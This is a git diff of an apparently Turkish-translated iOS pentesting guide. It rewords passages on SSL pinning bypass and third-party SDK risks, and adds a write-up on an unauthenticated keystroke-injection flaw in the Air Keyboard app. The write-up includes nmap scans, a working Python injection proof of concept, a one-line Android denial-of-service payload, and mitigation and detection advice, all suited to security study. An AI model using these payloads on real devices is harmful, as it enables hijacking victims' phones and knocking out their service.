bir cihazda aşmak için, [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) uygulamasını yükleyebilir veya [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device) yükleyebilirsiniz. -Ayrıca **objection's** `ios sslpinning disable` komutunu da kullanabilirsiniz. +Ayrıca **objection'ın** `ios sslpinning disable` komutunu da kullanabilirsiniz. ## Çeşitli -- **`/System/Library`** içinde sistem uygulamaları tarafından kullanılan telefon üzerindeki kurulu framework'leri bulabilirsiniz. +- **`/System/Library`** içinde sistem uygulamaları tarafından kullanılan telefon üzerindeki framework'leri bulabilirsiniz. - Kullanıcı tarafından App Store'dan yüklenen uygulamalar **`/User/Applications`** içinde yer almaktadır. - **`/User/Library`** ise kullanıcı seviyesindeki uygulamalar tarafından kaydedilen verileri içerir. - Uygulama içinde kaydedilen notları okumak için **`/User/Library/Notes/notes.sqlite`** dosyasına erişebilirsiniz. @@ -1040,22 +1040,28 @@ Ayrıca **objection's** `ios sslpinning disable` komutunu da kullanabilirsiniz. ### Sıcak Yamanlama/Zorunlu Güncelleme -Geliştiriciler, uygulamalarının tüm kurulumlarını anında **yamanlayabilir** ve uygulamayı App Store'a yeniden göndermeye gerek kalmadan onay bekleyebilirler.\ +Geliştiriciler, uygulamalarını App Store'a yeniden göndermeden ve onaylanmasını beklemeden **tüm kurulumları anında yamalayabilirler.**\ Bu amaçla genellikle [**JSPatch**](https://github.com/bang590/JSPatch)** kullanılır.** Ancak [Siren](https://github.com/ArtSabintsev/Siren) ve [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker) gibi diğer seçenekler de vardır.\ -**Bu, kötü niyetli üçüncü taraf SDK'lar tarafından kötüye kullanılabilecek tehlikeli bir mekanizmadır, bu nedenle otomatik güncelleme yönteminin (varsa) ne olduğunu kontrol etmek ve test etmek önerilir.** Bu amaçla uygulamanın önceki bir sürümünü indirmeyi deneyebilirsiniz. +**Bu, kötü niyetli üçüncü taraf SDK'lar tarafından kötüye kullanılabilecek tehlikeli bir mekanizmadır, bu nedenle otomatik güncelleme için hangi yöntemin kullanıldığını kontrol etmek ve test etmek önerilir.** Bu amaçla uygulamanın önceki bir sürümünü indirmeyi deneyebilirsiniz. ### Üçüncü Taraflar -**3. taraf SDK'lar** ile ilgili önemli bir zorluk, **fonksiyonları üzerinde ayrıntılı kontrol eksikliğidir.** Geliştiriciler, SDK'yı entegre etme ve potansiyel güvenlik açıkları ve gizlilik endişeleri dahil olmak üzere tüm özelliklerini kabul etme veya tamamen faydalarından vazgeçme seçeneği ile karşı karşıyadır. Genellikle, geliştiriciler bu SDK'lar içindeki zayıflıkları kendileri yamalayamazlar. Ayrıca, SDK'lar topluluk içinde güven kazandıkça, bazıları kötü amaçlı yazılım içermeye başlayabilir. +**3. taraf SDK'lar** ile ilgili önemli bir zorluk, işlevleri üzerinde **detaylı kontrol eksikliği**dir. Geliştiriciler, SDK'yı entegre etme ve potansiyel güvenlik açıkları ve gizlilik endişeleri dahil olmak üzere tüm özelliklerini kabul etme veya tamamen faydalarından vazgeçme seçeneği ile karşı karşıyadır. Genellikle, geliştiriciler bu SDK'lar içindeki zayıflıkları kendileri yamalayamazlar. Ayrıca, SDK'lar topluluk içinde güven kazandıkça, bazıları kötü amaçlı yazılım içermeye başlayabilir. -Üçüncü taraf SDK'lar tarafından sağlanan hizmetler, kullanıcı davranışını izleme, reklam gösterimleri veya kullanıcı deneyimi iyileştirmeleri içerebilir. Ancak, bu, geliştiricilerin bu kütüphaneler tarafından yürütülen kodun tam olarak farkında olmaması nedeniyle potansiyel gizlilik ve güvenlik riskleri oluşturur. Üçüncü taraf hizmetlerle paylaşılan bilgilerin yalnızca gerekli olanlarla sınırlı olması ve hassas verilerin açığa çıkmadığından emin olunması önemlidir. +Üçüncü taraf SDK'lar tarafından sağlanan hizmetler, kullanıcı davranışını izleme, reklam gösterimleri veya kullanıcı deneyimi iyileştirmeleri içerebilir. Ancak, bu, geliştiricilerin bu kütüphaneler tarafından yürütülen kodu tam olarak bilmemesi nedeniyle potansiyel gizlilik ve güvenlik riskleri oluşturur. Üçüncü taraf hizmetlerle paylaşılan bilgilerin, gerekli olanla sınırlı olması ve hassas verilerin açığa çıkmadığından emin olunması önemlidir. Üçüncü taraf hizmetlerin uygulanması genellikle iki biçimde gelir: bağımsız bir kütüphane veya tam bir SDK. Kullanıcı gizliliğini korumak için, bu hizmetlerle paylaşılan verilerin **anonimleştirilmesi** gerekmektedir, böylece Kişisel Tanımlanabilir Bilgilerin (PII) ifşası önlenir. -Bir uygulamanın kullandığı kütüphaneleri belirlemek için **`otool`** komutu kullanılabilir. Bu araç, uygulama ve kullandığı her paylaşılan kütüphane üzerinde çalıştırılmalıdır, böylece ek kütüphaneler keşfedilebilir. +Bir uygulamanın kullandığı kütüphaneleri belirlemek için **`otool`** komutu kullanılabilir. Bu araç, uygulama ve kullandığı her paylaşılan kütüphane üzerinde çalıştırılmalıdır. ```bash otool -L ``` +## İlginç Güvenlik Açıkları ve Vaka Çalışmaları + +{{#ref}} +air-keyboard-remote-input-injection.md +{{#endref}} + ## **Referanslar ve Daha Fazla Kaynak** - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering) @@ -1084,5 +1090,4 @@ otool -L - [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS) - [https://github.com/nabla-c0d3/ssl-kill-switch2](https://github.com/nabla-c0d3/ssl-kill-switch2) - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md b/src/mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md new file mode 100644 index 000000000..5ac7eaeca --- /dev/null +++ b/src/mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md @@ -0,0 +1,91 @@ +# Air Keyboard Remote Input Injection (Yetkisiz TCP Dinleyici) + +{{#include ../../banners/hacktricks-training.md}} + +## TL;DR + +Ticari "Air Keyboard" uygulamasının iOS versiyonu (App Store ID 6463187929), **port 8888'de açık metin TCP servisi** açar ve **herhangi bir kimlik doğrulaması olmadan** tuş vuruşu çerçevelerini kabul eder. Aynı Wi-Fi ağındaki herhangi bir cihaz o porta bağlanabilir ve kurbanın telefonuna rastgele klavye girişi enjekte ederek **tam uzaktan etkileşim ele geçirme** sağlar. + +Bir eşlik eden Android sürümü **port 55535'te** dinler. Zayıf bir AES-ECB el sıkışması gerçekleştirir, ancak oluşturulan çöp veriler **OpenSSL şifre çözme rutininde işlenmemiş bir istisna** oluşturur ve arka plan hizmetini çökertir (**DoS**). + +## 1. Servis Keşfi + +Yerel ağı tarayın ve uygulamalar tarafından kullanılan iki sabit portu arayın: +```bash +# iOS (input-injection) +nmap -p 8888 --open 192.168.1.0/24 + +# Android (weakly-authenticated service) +nmap -p 55535 --open 192.168.1.0/24 +``` +Android cihazlarda sorumlu paketi yerel olarak tanımlayabilirsiniz: +```bash +adb shell netstat -tulpn | grep 55535 # no root required on emulator + +# rooted device / Termux +netstat -tulpn | grep LISTEN +ls -l /proc//cmdline # map PID → package name +``` +## 2. Çerçeve Formatı (iOS) + +Binary, `handleInputFrame()` rutininde aşağıdaki ayrıştırma mantığını ortaya koyuyor: +``` +[length (2 bytes little-endian)] +[device_id (1 byte)] +[payload ASCII keystrokes] +``` +Açıklanan uzunluk, `device_id` baytını **ancak** iki baytlık başlığı içermez. + +## 3. Exploitation PoC +```python +#!/usr/bin/env python3 +"""Inject arbitrary keystrokes into Air Keyboard for iOS""" +import socket, sys + +target_ip = sys.argv[1] # e.g. 192.168.1.50 +keystrokes = b"open -a Calculator\n" # payload visible to the user + +frame = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8]) +frame += b"\x01" # device_id = 1 (hard-coded) +frame += keystrokes + +with socket.create_connection((target_ip, 8888)) as s: +s.sendall(frame) +print("Injected", keystrokes) +``` +Herhangi bir yazdırılabilir ASCII ( `\n`, `\r`, özel tuşlar vb. dahil) gönderilebilir, bu da saldırgana fiziksel kullanıcı girişi ile aynı gücü verir: uygulamaları başlatma, anlık mesaj gönderme, oltalama URL'lerini ziyaret etme vb. + +## 4. Android Companion – Hizmet Reddi + +Android portu (55535), **hard-coded AES-128-ECB anahtarı** ile şifrelenmiş 4 karakterli bir şifre ve ardından rastgele bir nonce bekler. Ayrıştırma hataları `AES_decrypt()` fonksiyonuna yükselir ve yakalanmaz, dinleyici iş parçacığını sonlandırır. Bu nedenle, tek bir hatalı paket, sürecin yeniden başlatılana kadar meşru kullanıcıların bağlantısının kesilmesi için yeterlidir. +```python +import socket +socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS +``` +## 5. Temel Sebep + +1. Gelen çerçeveler üzerinde **kaynak / bütünlük kontrolleri yok** (iOS). +2. **Kriptografik kötüye kullanım** (statik anahtar, ECB, uzunluk doğrulaması eksik) ve **istisna işleme eksikliği** (Android). + +## 6. Önlemler ve Güçlendirme Fikirleri + +* Mobil cihazda kimlik doğrulaması yapılmamış hizmetleri asla açığa çıkarmayın. +* Onboarding sırasında cihaz başına gizli anahtarlar türetin ve girişi işlemden önce doğrulayın. +* Dinleyiciyi `127.0.0.1` adresine bağlayın ve uzaktan kontrol için karşılıklı kimlik doğrulamalı, şifreli bir taşıma kullanın (örneğin, TLS, Noise). +* Mobil güvenlik incelemeleri sırasında beklenmedik açık portları tespit edin (`netstat`, `lsof`, `frida-trace` üzerinde `socket()` vb.). +* Bir son kullanıcı olarak: Air Keyboard'ı kaldırın veya yalnızca güvenilir, izole Wi-Fi ağlarında kullanın. + +## Tespit Kılavuzu (Pentesterlar) +```bash +# Quick one-liner to locate vulnerable devices in a /24 +nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - | awk '/Ports/{print $2,$3,$4}' + +# Inspect running sockets on a connected Android target +adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do echo -n \"$p → "; cat /proc/$p/cmdline; done" +``` +## Referanslar + +- [Air Keyboard iOS Uygulamasındaki Uzaktan Girdi Enjeksiyonu Açığı Hala Yamanmamış](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/) +- [CXSecurity danışmanlığı WLB-2025060015](https://cxsecurity.com/issue/WLB-2025060015) + +{{#include ../../banners/hacktricks-training.md}}